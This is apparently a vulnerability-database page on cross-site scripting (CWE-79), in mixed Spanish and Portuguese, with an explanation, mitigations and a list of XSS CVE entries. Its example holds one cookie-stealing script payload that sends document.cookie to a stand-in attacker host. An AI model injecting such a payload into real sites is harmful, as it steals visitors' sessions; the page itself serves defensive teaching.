Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-47625MEDIUMWordPress Enter Addons – Ultimate Template Builder for Elementor plugin <= 2.1.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-12801MEDIUMUltra Addons for Contact Form 7 <= 3.5.43 - Authenticated (Contributor+) Stored Cross-Site Scripting via Slider AttributesEPSS 0.3%CVE-2024-11339MEDIUMSmart PopUp Blaster <= 1.4.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-37265MEDIUMWordPress IdeaPush plugin <= 8.60 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-28154HIGHWordPress Samex and M.Anh WordPress themes affected by Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-54212MEDIUMWordPress Magical Addons For Elementor plugin <= 1.3.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-12279MEDIUMcode-projects Client Details System welcome.php cross site scriptingEPSS 0.3%CVE-2026-21618HIGHCross-site scripting (XSS) in OAuth Device Authorization screenEPSS 0.3%CVE-2026-35539MEDIUMAn issue was discovered in Roundcube Webmail before 1.5.14 and 1.6.14. XSS exists because of insufficient HTML attachment sanitization in prEPSS 0.3%CVE-2024-11903MEDIUMWP eCards <= 1.3.904 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-30557MEDIUMA Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located iEPSS 0.3%CVE-2026-30560MEDIUMA Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located iEPSS 0.3%CVE-2025-48875MEDIUMFreeScout Vulnerable to Stored XSSEPSS 0.3%CVE-2024-35351MEDIUMA vulnerability has been discovered in Diño Physics School Assistant version 2.3. This vulnerability impacts unidentified code within the fiEPSS 0.3%CVE-2026-2573MEDIUMGutenKit <= 2.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'postBodyCss'EPSS 0.3%CVE-2026-85575MEDIUMThe ShopEngine Elementor WooCommerce Builder Addon – All in One WooCommerce Solution with eCommerce Templates & Woo Widgets <= 4.9.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'shopengine_product_title_header_size' ParameterEPSS 0.3%CVE-2023-50964MEDIUMIBM InfoSphere Information Server cross-site scriptingEPSS 0.3%CVE-2026-72787MEDIUMCraft CMS 5.0.0-RC1 before 5.10.8 Stored XSS via Draft NameEPSS 0.3%CVE-2024-58289MEDIUMMicroweber 2.0.15 Stored Cross-Site Scripting via User Profile FieldsEPSS 0.3%CVE-2024-35701MEDIUMWordPress PropertyHive plugin <= 2.0.13 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%